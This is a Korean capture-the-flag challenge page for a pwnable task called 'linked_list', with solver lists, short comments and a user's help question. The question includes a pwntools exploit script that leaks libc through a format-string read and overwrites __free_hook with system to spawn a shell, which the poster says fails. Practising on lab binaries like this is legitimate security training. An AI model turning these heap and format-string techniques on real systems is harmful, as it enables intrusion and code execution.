LEVEL 4

linked_list

pwnable
  • 문제 정보
  • 풀이 42
  • 난이도 투표 23
  • 질문 6
  • 최근 풀이자 103
  • 댓글 18

문제 설명

이제 막 자료구조를 배운 드림이는 단일 linked list로 사람의 개인정보를 저장하는 프로그램을 만들었어요. 그리고 자랑을 하고싶어서 자신이 만든 프로그램을 서버에서 돌려서 누구나 사용해볼 수 있도록 했습니다. 그런데 코드에 오타가 있네요...? 드림이는 아직 오타가 난줄 모르고 있습니다. 드림이가 알아채기 전에 취약점을 찾고 flag를 읽으세요.

난이도 투표 23

질문 6

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
풀이 도중 생긴 의문점
푸는 도중에 도저히 이해가 안되는 부분이 있습니다. image.png 이렇게 __free_hook 주소에다가 system 함수를 집어넣고, free시킬 object_number에 binsh 주소를 넣은 뒤에 free를 시켜봤는데 image.png 쉘이 실행되지 않고 그냥 정상적으로 free가 되는 것을 확인했습니다. 제 생각으로는 system 함수가 실행되어야 할 것 같은데 왜 안되는 건지 모르겠습니다. 아래는 제가 시도했던 코드입니다. from pwn import * p = process('./linked_list') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(object_number): p.sendlineafter(': ', '1') p.sendlineafter(': ', str(object_number)) for a in range(3): p.sendlineafter(': ', '1') def delete(object_number): p.sendlineafter(': ', '2') p.sendlineafter(': ', str(object_number)) def show(object_number): p.sendlineafter(': ', '3') p.sendlineafter(': ', str(object_number)) def edit(object_number, new_object_number, payload): p.sendlineafter(': ', '4') p.sendlineafter(': ', str(object_number)) p.sendlineafter(': ', str(new_object_number)) for a in range(2): p.sendlineafter(': ', str(0)) p.sendlineafter(': ', payload) #Leak libc_base & free_hook p.sendlineafter(': ', '%3$p') libc_base = int(p.recvn(14).decode(), 16) - 0x1036dd free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + 0x1a7e43 add(1) add(2) edit(1, 1, b'b'*0x100 + p64(free_hook)) edit(0, system, str(2)) add(bin_sh) p.interactive() 도와주세요..ㅠㅠ
avatar Garden_
LEVEL 4

linked_list

pwnable

출제자 정보

avatar
Sechack
2024 Invitational Contenders

First Blood!

avatar
st4rlight
안드로이드
출제된 지 2시간 만에 풀이 완료!

최근 풀이자 103

shielder
대표 업적 없음
avatar
Garden_
시스템 해킹 입문
pdw0412
시스템 해킹 입문
zeroboo
대표 업적 없음
avatar
yadohyun
세계수
avatar
z3rodae0
시니어
avatar
Finder
.HACK 2024 참가자
mngb
강의 수강: 10
avatar
연어초밥
공부벌레
avatar
RTV
대표 업적 없음

댓글 18

avatar
Garden_
시스템 해킹 입문
libc 찾기는 너무 어려워
avatar
z3rodae0
시니어
Confused
avatar
연어초밥
공부벌레
내 일주일...
avatar
Sandersonia
대표 업적 없음
잡았다 오타!
avatar
ssongk
2024 Invitational Contenders
funny
avatar
wyv3rn
무플 방지 위원회장
로되리안, 버전 맞추기 노가다 등 삽질 할 수 있는건 다 해본듯... 아오...
avatar
msh1307
대표 업적 없음
avatar
바나나김치
워게임 고인물
로...로되리안....?
조르거이
워게임 고인물
굿
avatar
FisMA
워게임 풀이: 50
정말 다양한 풀이가 가능합니다!! (오타만 발견한다면)